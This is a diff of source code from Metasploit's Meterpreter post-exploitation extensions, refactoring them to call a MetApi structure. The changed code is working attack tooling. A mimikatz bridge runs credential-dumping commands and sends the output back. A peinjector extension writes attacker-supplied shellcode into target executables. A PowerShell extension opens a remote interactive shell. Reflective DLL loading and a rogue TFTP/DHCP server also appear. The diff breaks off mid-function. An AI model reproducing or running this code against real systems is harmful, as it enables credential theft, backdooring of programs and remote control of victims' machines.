Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
|
||||
do{
|
||||
Tlv tlv;
|
||||
//Get file contents
|
||||
if ((retval = packet_get_tlv(packet, TLV_TYPE_LANATTACKS_RAW, &tlv)) != ERROR_SUCCESS)
|
||||
if ((retval = met_api->packet.get_tlv(packet, TLV_TYPE_LANATTACKS_RAW, &tlv)) != ERROR_SUCCESS)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
//Get file name
|
||||
name = packet_get_tlv_value_string(packet, TLV_TYPE_LANATTACKS_OPTION_NAME);
|
||||
name = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_LANATTACKS_OPTION_NAME);
|
||||
namelen = (unsigned int)strlen(name);
|
||||
addTFTPFile(tftpserver, name, namelen, (char*)tlv.buffer, tlv.header.length);
|
||||
} while (0);
|
||||
|
||||
packet_transmit_response(retval, remote, response);
|
||||
met_api->packet.transmit_response(retval, remote, response);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
//Turns off the TFTP server
|
||||
DWORD request_lanattacks_stop_tftp(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
|
||||
int res = stopTFTPServer(tftpserver);
|
||||
|
||||
packet_transmit_response(res, remote, response);
|
||||
met_api->packet.transmit_response(res, remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
@ -175,14 +174,15 @@ Command customCommands[] =
|
||||
|
||||
/*!
|
||||
* @brief Initialize the server extension.
|
||||
* @param api Pointer to the Meterpreter API structure.
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote)
|
||||
{
|
||||
hMetSrv = remote->met_srv;
|
||||
met_api = api;
|
||||
|
||||
command_register_all(customCommands);
|
||||
met_api->command.register_all(customCommands);
|
||||
|
||||
dhcpserver = createDHCPServer();
|
||||
tftpserver = createTFTPServer();
|
||||
@ -200,7 +200,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote* remote)
|
||||
{
|
||||
destroyTFTPServer(tftpserver);
|
||||
tftpserver = NULL;
|
||||
@ -208,7 +208,7 @@ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
destroyDHCPServer(dhcpserver);
|
||||
dhcpserver = NULL;
|
||||
|
||||
command_deregister_all(customCommands);
|
||||
met_api->command.deregister_all(customCommands);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
@ -14,120 +14,118 @@ std::wstring s2ws(const std::string& str)
|
||||
return wstrTo;
|
||||
}
|
||||
|
||||
extern "C"
|
||||
extern "C"
|
||||
{
|
||||
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
|
||||
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
|
||||
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
|
||||
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
|
||||
#include "common_metapi.h"
|
||||
|
||||
// Required so that use of the API works.
|
||||
MetApi* met_api = NULL;
|
||||
|
||||
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
|
||||
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
||||
EnableDelayLoadMetSrv();
|
||||
mimikatz* myMimiKatz;
|
||||
|
||||
mimikatz * myMimiKatz;
|
||||
|
||||
// Singleton
|
||||
void initialize_mimikatz()
|
||||
{
|
||||
vector<wstring> *args;
|
||||
if (!myMimiKatz)
|
||||
// Singleton
|
||||
void initialize_mimikatz()
|
||||
{
|
||||
args = new vector<wstring>();
|
||||
myMimiKatz = new mimikatz(args);
|
||||
delete args;
|
||||
}
|
||||
}
|
||||
|
||||
void clear_buffer()
|
||||
{
|
||||
oss.str(L"");
|
||||
oss.clear();
|
||||
}
|
||||
|
||||
wchar_t* convert_wstring_to_wchar_t(wstring in)
|
||||
{
|
||||
const wchar_t* outputStr = in.c_str();
|
||||
wchar_t* out = new wchar_t[in.size()+1];
|
||||
wcscpy_s(out, in.size() + 1, outputStr);
|
||||
out[in.size()] = '\0';
|
||||
return out;
|
||||
}
|
||||
|
||||
DWORD request_custom_command(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet * response = packet_create_response(packet);
|
||||
Tlv argTlv = {0};
|
||||
DWORD index = 0;
|
||||
vector<wstring> args;
|
||||
|
||||
LPCSTR func = packet_get_tlv_value_string(packet, TLV_TYPE_MIMIKATZ_FUNCTION);
|
||||
dprintf("Function: %s", packet_get_tlv_value_string(packet, TLV_TYPE_MIMIKATZ_FUNCTION));
|
||||
wstring function = s2ws(func);
|
||||
|
||||
while( packet_enum_tlv( packet, index++, TLV_TYPE_MIMIKATZ_ARGUMENT, &argTlv ) == ERROR_SUCCESS )
|
||||
{
|
||||
dprintf("Arg: %s", (PCHAR)argTlv.buffer);
|
||||
args.push_back(s2ws((PCHAR)argTlv.buffer));
|
||||
vector<wstring>* args;
|
||||
if (!myMimiKatz)
|
||||
{
|
||||
args = new vector<wstring>();
|
||||
myMimiKatz = new mimikatz(args);
|
||||
delete args;
|
||||
}
|
||||
}
|
||||
|
||||
clear_buffer();
|
||||
void clear_buffer()
|
||||
{
|
||||
oss.str(L"");
|
||||
oss.clear();
|
||||
}
|
||||
|
||||
initialize_mimikatz();
|
||||
myMimiKatz->doCommandeLocale(&function, &args);
|
||||
wchar_t* convert_wstring_to_wchar_t(wstring in)
|
||||
{
|
||||
const wchar_t* outputStr = in.c_str();
|
||||
wchar_t* out = new wchar_t[in.size() + 1];
|
||||
wcscpy_s(out, in.size() + 1, outputStr);
|
||||
out[in.size()] = '\0';
|
||||
return out;
|
||||
}
|
||||
|
||||
wchar_t* output = convert_wstring_to_wchar_t(oss.str());
|
||||
|
||||
clear_buffer();
|
||||
DWORD request_custom_command(Remote* remote, Packet* packet)
|
||||
{
|
||||
Packet* response = met_api->packet.create_response(packet);
|
||||
Tlv argTlv = { 0 };
|
||||
DWORD index = 0;
|
||||
vector<wstring> args;
|
||||
|
||||
packet_add_tlv_raw(response, TLV_TYPE_MIMIKATZ_RESULT, output, (DWORD)(wcslen(output)*sizeof(wchar_t)));
|
||||
packet_transmit_response(ERROR_SUCCESS, remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
Command customCommands[] =
|
||||
{
|
||||
COMMAND_REQ( "mimikatz_custom_command", request_custom_command ),
|
||||
COMMAND_TERMINATOR
|
||||
};
|
||||
|
||||
/*!
|
||||
* @brief Initialize the server extension.
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
{
|
||||
hMetSrv = remote->met_srv;
|
||||
|
||||
command_register_all( customCommands );
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Deinitialize the server extension.
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
{
|
||||
command_deregister_all( customCommands );
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Get the name of the extension.
|
||||
* @param buffer Pointer to the buffer to write the name to.
|
||||
* @param bufferSize Size of the \c buffer parameter.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) GetExtensionName(char* buffer, int bufferSize)
|
||||
{
|
||||
strncpy_s(buffer, bufferSize, "mimikatz", bufferSize - 1);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
LPCSTR func = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_MIMIKATZ_FUNCTION);
|
||||
dprintf("Function: %s", met_api->packet.get_tlv_value_string(packet, TLV_TYPE_MIMIKATZ_FUNCTION));
|
||||
wstring function = s2ws(func);
|
||||
|
||||
while (met_api->packet.enum_tlv(packet, index++, TLV_TYPE_MIMIKATZ_ARGUMENT, &argTlv) == ERROR_SUCCESS)
|
||||
{
|
||||
dprintf("Arg: %s", (PCHAR)argTlv.buffer);
|
||||
args.push_back(s2ws((PCHAR)argTlv.buffer));
|
||||
}
|
||||
|
||||
clear_buffer();
|
||||
|
||||
initialize_mimikatz();
|
||||
myMimiKatz->doCommandeLocale(&function, &args);
|
||||
|
||||
wchar_t* output = convert_wstring_to_wchar_t(oss.str());
|
||||
|
||||
clear_buffer();
|
||||
|
||||
met_api->packet.add_tlv_raw(response, TLV_TYPE_MIMIKATZ_RESULT, output, (DWORD)(wcslen(output) * sizeof(wchar_t)));
|
||||
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
Command customCommands[] =
|
||||
{
|
||||
COMMAND_REQ("mimikatz_custom_command", request_custom_command),
|
||||
COMMAND_TERMINATOR
|
||||
};
|
||||
|
||||
/*!
|
||||
* @brief Initialize the server extension.
|
||||
* @param api Pointer to the Meterpreter API structure.
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote)
|
||||
{
|
||||
met_api = api;
|
||||
|
||||
met_api->command.register_all(customCommands);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Deinitialize the server extension.
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote* remote)
|
||||
{
|
||||
met_api->command.deregister_all(customCommands);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Get the name of the extension.
|
||||
* @param buffer Pointer to the buffer to write the name to.
|
||||
* @param bufferSize Size of the \c buffer parameter.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) GetExtensionName(char* buffer, int bufferSize)
|
||||
{
|
||||
strncpy_s(buffer, bufferSize, "mimikatz", bufferSize - 1);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
@ -4,6 +4,7 @@
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "kmodel.h"
|
||||
#include <comutil.h>
|
||||
|
||||
HMODULE g_hModule = NULL;
|
||||
|
||||
@ -56,9 +57,9 @@ DWORD WINAPI ThreadProc(LPVOID lpParameter)
|
||||
fonction = fonction.substr(0, monIndex);
|
||||
}
|
||||
|
||||
string procDll(fonction.begin(), fonction.end());
|
||||
_bstr_t procDll(wstring(fonction.begin(), fonction.end()).c_str());
|
||||
|
||||
ptrFunction maFonction = reinterpret_cast<ptrFunction>(GetProcAddress(g_hModule, procDll.c_str()));
|
||||
ptrFunction maFonction = reinterpret_cast<ptrFunction>(GetProcAddress(g_hModule, (const char*)procDll));
|
||||
|
||||
if(maFonction)
|
||||
{
|
||||
|
@ -7,7 +7,8 @@
|
||||
#include <string.h>
|
||||
#include <stddef.h>
|
||||
#include "libpefile.h"
|
||||
#include "../../common/common.h"
|
||||
#include "common.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
/* Min/Max Macros */
|
||||
#define MIN(_a, _b) ((_a) < (_b) ? (_a) : (_b))
|
||||
@ -358,7 +359,7 @@ bool pefile_read_file(char *file, PEFILE_READ_OPTIONS *options, PEFILE *out) {
|
||||
FILE *fh;
|
||||
|
||||
/* Open file */
|
||||
wchar_t *file_w = utf8_to_wchar(file);
|
||||
wchar_t *file_w = met_api->string.utf8_to_wchar(file);
|
||||
if (_wfopen_s(&fh, file_w, L"rb") == 0) {
|
||||
|
||||
/* Get file size and allocate buffer */
|
||||
@ -539,7 +540,7 @@ bool pefile_write_file(PEFILE *in, PEFILE_WRITE_OPTIONS *options, char* file) {
|
||||
|
||||
/* Open file */
|
||||
FILE *fh;
|
||||
wchar_t *file_w = utf8_to_wchar(file);
|
||||
wchar_t *file_w = met_api->string.utf8_to_wchar(file);
|
||||
if (_wfopen_s(&fh, file_w, L"wb") == 0) {
|
||||
|
||||
/* Generate PE File memory */
|
||||
|
@ -7,7 +7,8 @@
|
||||
#include <stdlib.h>
|
||||
#include "libpeinfect.h"
|
||||
#include "libpeinfect_obfuscator.h"
|
||||
#include "../../common/common.h"
|
||||
#include "common.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
/* Min/Max Macros */
|
||||
#define MIN(_a, _b) ((_a) < (_b) ? (_a) : (_b))
|
||||
@ -757,7 +758,7 @@ bool peinfect_infect_full_file(char *infile, PEINFECT *in, char *outfile) {
|
||||
|
||||
/* Open file */
|
||||
FILE *fh;
|
||||
wchar_t *file_w = utf8_to_wchar(infile);
|
||||
wchar_t *file_w = met_api->string.utf8_to_wchar(infile);
|
||||
if (_wfopen_s(&fh, file_w, L"rb") == 0) {
|
||||
|
||||
/* Get file size and allocate buffer */
|
||||
|
@ -2,17 +2,16 @@
|
||||
* @file peinjector.c
|
||||
* @brief Entry point and intialisation definitions for the Peinjector extension
|
||||
*/
|
||||
#include "../../common/common.h"
|
||||
#include "common.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
|
||||
// Required so that use of the API works.
|
||||
MetApi* met_api = NULL;
|
||||
|
||||
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
|
||||
#include "peinjector_bridge.h"
|
||||
|
||||
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
||||
EnableDelayLoadMetSrv();
|
||||
|
||||
Command customCommands[] =
|
||||
{
|
||||
COMMAND_REQ("peinjector_inject_shellcode", request_peinjector_inject_shellcode),
|
||||
@ -20,25 +19,41 @@ Command customCommands[] =
|
||||
};
|
||||
|
||||
/*!
|
||||
* @brief Initialize the server extension
|
||||
* @brief Initialize the server extension.
|
||||
* @param api Pointer to the Meterpreter API structure.
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote *remote)
|
||||
{
|
||||
hMetSrv = remote->met_srv;
|
||||
dprintf("[PEINJECTOR] Initializing peinjector...");
|
||||
met_api = api;
|
||||
|
||||
command_register_all(customCommands);
|
||||
met_api->command.register_all( customCommands );
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Deinitialize the server extension
|
||||
* @brief Deinitialize the server extension.
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
{
|
||||
command_deregister_all(customCommands);
|
||||
met_api->command.deregister_all( customCommands );
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
/*!
|
||||
* @brief Get the name of the extension.
|
||||
* @param buffer Pointer to the buffer to write the name to.
|
||||
* @param bufferSize Size of the \c buffer parameter.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) GetExtensionName(char* buffer, int bufferSize)
|
||||
{
|
||||
strncpy_s(buffer, bufferSize, "peinjector", bufferSize - 1);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
@ -3,7 +3,8 @@
|
||||
* @brief Wrapper functions for bridging native meterp calls to peinjector
|
||||
*/
|
||||
|
||||
#include "../../common/common.h"
|
||||
#include "common.h"
|
||||
#include "common_metapi.h"
|
||||
#include "peinjector.h"
|
||||
#include "peinjector_bridge.h"
|
||||
#include "libpeinfect.h"
|
||||
@ -46,15 +47,15 @@ void __load_config(PEINFECT *infect, BYTE* shellcode, UINT shellcode_size, bool
|
||||
DWORD request_peinjector_inject_shellcode(Remote *remote, Packet *packet)
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
Packet* response = packet_create_response(packet);
|
||||
Packet* response = met_api->packet.create_response(packet);
|
||||
|
||||
if (response)
|
||||
{
|
||||
BYTE* shellcode = packet_get_tlv_value_raw(packet, TLV_TYPE_PEINJECTOR_SHELLCODE);
|
||||
UINT size = packet_get_tlv_value_uint(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_SIZE);
|
||||
BOOL is_x64 = packet_get_tlv_value_bool(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_ISX64);
|
||||
BYTE* shellcode = met_api->packet.get_tlv_value_raw(packet, TLV_TYPE_PEINJECTOR_SHELLCODE);
|
||||
UINT size = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_SIZE);
|
||||
BOOL is_x64 = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_ISX64);
|
||||
|
||||
char* target_executable_path = packet_get_tlv_value_string(packet, TLV_TYPE_PEINJECTOR_TARGET_EXECUTABLE);
|
||||
char* target_executable_path = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_PEINJECTOR_TARGET_EXECUTABLE);
|
||||
if (shellcode != NULL)
|
||||
{
|
||||
dprintf("[PEINJECTOR] recived path: %s", target_executable_path);
|
||||
@ -77,15 +78,15 @@ DWORD request_peinjector_inject_shellcode(Remote *remote, Packet *packet)
|
||||
}
|
||||
else {
|
||||
dprintf("There was an error, shellcode not injected\n");
|
||||
packet_add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "There was an error, shellcode not injected");
|
||||
met_api->packet.add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "There was an error, shellcode not injected");
|
||||
}
|
||||
}
|
||||
else {
|
||||
dprintf("The architecture of the file is incompatible with the selected payload\n");
|
||||
packet_add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "The architecture of the file is incompatible with the selected payload");
|
||||
met_api->packet.add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "The architecture of the file is incompatible with the selected payload");
|
||||
}
|
||||
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
met_api->packet.transmit_response(dwResult, remote, response);
|
||||
}
|
||||
else
|
||||
{
|
||||
|
@ -2,20 +2,17 @@
|
||||
* @file powershell.c
|
||||
* @brief Entry point and intialisation definitions for the Powershell extension
|
||||
*/
|
||||
#include "../../common/common.h"
|
||||
#include "common.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
// Required so that use of the API works.
|
||||
MetApi* met_api = NULL;
|
||||
|
||||
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
|
||||
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
|
||||
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
|
||||
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
|
||||
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
|
||||
#include "powershell_bridge.h"
|
||||
#include "powershell_bindings.h"
|
||||
|
||||
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
||||
EnableDelayLoadMetSrv();
|
||||
|
||||
static BOOL gSuccessfullyLoaded = FALSE;
|
||||
|
||||
/*! @brief List of commands that the powershell extension provides. */
|
||||
@ -30,19 +27,21 @@ Command customCommands[] =
|
||||
|
||||
/*!
|
||||
* @brief Initialize the server extension.
|
||||
* @param api Pointer to the Meterpreter API structure.
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote)
|
||||
{
|
||||
hMetSrv = remote->met_srv;
|
||||
met_api = api;
|
||||
|
||||
gRemote = remote;
|
||||
|
||||
DWORD result = initialize_dotnet_host();
|
||||
|
||||
if (result == ERROR_SUCCESS)
|
||||
{
|
||||
command_register_all(customCommands);
|
||||
met_api->command.register_all(customCommands);
|
||||
}
|
||||
|
||||
return result;
|
||||
@ -55,7 +54,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
{
|
||||
command_deregister_all(customCommands);
|
||||
met_api->command.deregister_all(customCommands);
|
||||
deinitialize_dotnet_host();
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
|
@ -3,7 +3,8 @@
|
||||
* @brief Wrapper functions for bridging native meterp calls to powershell
|
||||
*/
|
||||
extern "C" {
|
||||
#include "../../common/common.h"
|
||||
#include "common.h"
|
||||
#include "common_metapi.h"
|
||||
#include "powershell_bindings.h"
|
||||
}
|
||||
|
||||
@ -25,7 +26,7 @@ VOID MeterpreterInvoke(unsigned int isLocal, unsigned char* input, unsigned int
|
||||
dprintf("[PSH BINDING] Packet payload length: %u", packet.payloadLength);
|
||||
dprintf("[PSH BINDING] Packet local flag: %u", isLocal);
|
||||
|
||||
command_handle(gRemote, &packet);
|
||||
met_api->command.handle(gRemote, &packet);
|
||||
|
||||
if (packet.partner != NULL)
|
||||
{
|
||||
@ -34,7 +35,7 @@ VOID MeterpreterInvoke(unsigned int isLocal, unsigned char* input, unsigned int
|
||||
*output = (unsigned char*)LocalAlloc(LPTR, packet.partner->payloadLength);
|
||||
*outputLength = packet.partner->payloadLength;
|
||||
memcpy(*output, packet.partner->payload, packet.partner->payloadLength);
|
||||
packet_destroy(packet.partner);
|
||||
met_api->packet.destroy(packet.partner);
|
||||
}
|
||||
else
|
||||
{
|
||||
|
@ -3,7 +3,8 @@
|
||||
* @brief Wrapper functions for bridging native meterp calls to powershell
|
||||
*/
|
||||
extern "C" {
|
||||
#include "../../common/common.h"
|
||||
#include "common.h"
|
||||
#include "common_metapi.h"
|
||||
#include "powershell.h"
|
||||
#include "powershell_bridge.h"
|
||||
#include "powershell_bindings.h"
|
||||
@ -90,7 +91,7 @@ DWORD load_assembly(BYTE* assemblyData, DWORD assemblySize)
|
||||
}
|
||||
|
||||
dprintf("[PSH] Assembly appears to have been loaded successfully");
|
||||
list_add(gLoadedAssemblies, loadedAssembly);
|
||||
met_api->list.add(gLoadedAssemblies, loadedAssembly);
|
||||
} while (0);
|
||||
|
||||
if (SUCCEEDED(hr))
|
||||
@ -385,7 +386,7 @@ DWORD initialize_dotnet_host()
|
||||
break;
|
||||
}
|
||||
|
||||
gLoadedAssemblies = list_create();
|
||||
gLoadedAssemblies = met_api->list.create();
|
||||
dprintf("[PSH] Runtime has been initialized successfully");
|
||||
|
||||
} while(0);
|
||||
@ -437,8 +438,8 @@ VOID deinitialize_dotnet_host()
|
||||
|
||||
SAFE_RELEASE(gClrPowershellType);
|
||||
|
||||
list_enumerate(gLoadedAssemblies, destroy_loaded_assembly, NULL);
|
||||
list_destroy(gLoadedAssemblies);
|
||||
met_api->list.enumerate(gLoadedAssemblies, destroy_loaded_assembly, NULL);
|
||||
met_api->list.destroy(gLoadedAssemblies);
|
||||
|
||||
SAFE_RELEASE(gClrPowershellAssembly);
|
||||
SAFE_RELEASE(gClrAppDomainInterface);
|
||||
@ -455,12 +456,12 @@ DWORD powershell_channel_interact_notify(Remote *remote, LPVOID entryContext, LP
|
||||
|
||||
if (shell->output.length() > 1 && shell->wait_handle != NULL)
|
||||
{
|
||||
lock_acquire(shell->buffer_lock);
|
||||
met_api->lock.acquire(shell->buffer_lock);
|
||||
dprintf("[PSH SHELL] received notification to write");
|
||||
DWORD result = channel_write(channel, remote, NULL, 0, (PUCHAR)(char*)shell->output, byteCount, NULL);
|
||||
DWORD result = met_api->channel.write(channel, remote, NULL, 0, (PUCHAR)(char*)shell->output, byteCount, NULL);
|
||||
shell->output = "";
|
||||
ResetEvent(shell->wait_handle);
|
||||
lock_release(shell->buffer_lock);
|
||||
met_api->lock.release(shell->buffer_lock);
|
||||
dprintf("[PSH SHELL] write completed");
|
||||
}
|
||||
|
||||
@ -474,11 +475,11 @@ DWORD powershell_channel_interact_destroy(HANDLE waitable, LPVOID entryContext,
|
||||
if (shell->wait_handle)
|
||||
{
|
||||
HANDLE h = shell->wait_handle;
|
||||
lock_acquire(shell->buffer_lock);
|
||||
met_api->lock.acquire(shell->buffer_lock);
|
||||
unchannelise_session(shell->session_id);
|
||||
shell->wait_handle = NULL;
|
||||
lock_release(shell->buffer_lock);
|
||||
lock_destroy(shell->buffer_lock);
|
||||
met_api->lock.release(shell->buffer_lock);
|
||||
met_api->lock.destroy(shell->buffer_lock);
|
||||
CloseHandle(h);
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
@ -494,9 +495,9 @@ DWORD powershell_channel_interact(Channel *channel, Packet *request, LPVOID cont
|
||||
{
|
||||
dprintf("[PSH SHELL] beginning interaction");
|
||||
shell->wait_handle = CreateEventA(NULL, FALSE, FALSE, NULL);
|
||||
shell->buffer_lock = lock_create();
|
||||
shell->buffer_lock = met_api->lock.create();
|
||||
|
||||
result = scheduler_insert_waitable(shell->wait_handle, channel, context,
|
||||
result = met_api->scheduler.insert_waitable(shell->wait_handle, channel, context,
|
||||
powershell_channel_interact_notify, powershell_channel_interact_destroy);
|
||||
|
||||
channelise_session(shell->session_id, channel, context);
|
||||
@ -507,7 +508,7 @@ DWORD powershell_channel_interact(Channel *channel, Packet *request, LPVOID cont
|
||||
else if (shell->wait_handle != NULL)
|
||||
{
|
||||
dprintf("[PSH SHELL] stopping interaction");
|
||||
result = scheduler_signal_waitable(shell->wait_handle, Stop);
|
||||
result = met_api->scheduler.signal_waitable(shell->wait_handle, SchedulerStop);
|
||||
}
|
||||
|
||||
return result;
|
||||
@ -526,10 +527,10 @@ DWORD powershell_channel_write(Channel* channel, Packet* request, LPVOID context
|
||||
DWORD result = invoke_ps_command(shell->session_id, codeMarshall, output);
|
||||
if (result == ERROR_SUCCESS && shell->wait_handle)
|
||||
{
|
||||
lock_acquire(shell->buffer_lock);
|
||||
met_api->lock.acquire(shell->buffer_lock);
|
||||
shell->output += output;
|
||||
SetEvent(shell->wait_handle);
|
||||
lock_release(shell->buffer_lock);
|
||||
met_api->lock.release(shell->buffer_lock);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
@ -542,10 +543,10 @@ void powershell_channel_streamwrite(__int64 rawContext, __int64 rawMessage)
|
||||
|
||||
if (shell->wait_handle)
|
||||
{
|
||||
lock_acquire(shell->buffer_lock);
|
||||
met_api->lock.acquire(shell->buffer_lock);
|
||||
shell->output += message;
|
||||
SetEvent(shell->wait_handle);
|
||||
lock_release(shell->buffer_lock);
|
||||
met_api->lock.release(shell->buffer_lock);
|
||||
}
|
||||
}
|
||||
|
||||
@ -716,7 +717,7 @@ DWORD unchannelise_session(wchar_t* sessionId)
|
||||
DWORD request_powershell_shell(Remote *remote, Packet *packet)
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
Packet* response = packet_create_response(packet);
|
||||
Packet* response = met_api->packet.create_response(packet);
|
||||
InteractiveShell* shell = NULL;
|
||||
|
||||
if (response)
|
||||
@ -732,7 +733,7 @@ DWORD request_powershell_shell(Remote *remote, Packet *packet)
|
||||
dwResult = ERROR_OUTOFMEMORY;
|
||||
break;
|
||||
}
|
||||
shell->session_id = packet_get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID);
|
||||
shell->session_id = met_api->packet.get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID);
|
||||
|
||||
if (shell->session_id != NULL)
|
||||
{
|
||||
@ -748,13 +749,13 @@ DWORD request_powershell_shell(Remote *remote, Packet *packet)
|
||||
chanOps.native.write = powershell_channel_write;
|
||||
chanOps.native.interact = powershell_channel_interact;
|
||||
shell->output = "PS > ";
|
||||
Channel* newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chanOps);
|
||||
Channel* newChannel = met_api->channel.create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chanOps);
|
||||
|
||||
channel_set_type(newChannel, "psh");
|
||||
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel));
|
||||
met_api->channel.set_type(newChannel, "psh");
|
||||
met_api->packet.add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(newChannel));
|
||||
} while (0);
|
||||
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
met_api->packet.transmit_response(dwResult, remote, response);
|
||||
}
|
||||
|
||||
if (dwResult != ERROR_SUCCESS)
|
||||
@ -774,23 +775,23 @@ DWORD request_powershell_shell(Remote *remote, Packet *packet)
|
||||
DWORD request_powershell_execute(Remote *remote, Packet *packet)
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
Packet* response = packet_create_response(packet);
|
||||
Packet* response = met_api->packet.create_response(packet);
|
||||
wchar_t* sessionId = NULL;
|
||||
|
||||
if (response)
|
||||
{
|
||||
char* code = packet_get_tlv_value_string(packet, TLV_TYPE_POWERSHELL_CODE);
|
||||
char* code = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_POWERSHELL_CODE);
|
||||
if (code != NULL)
|
||||
{
|
||||
_bstr_t codeMarshall(code);
|
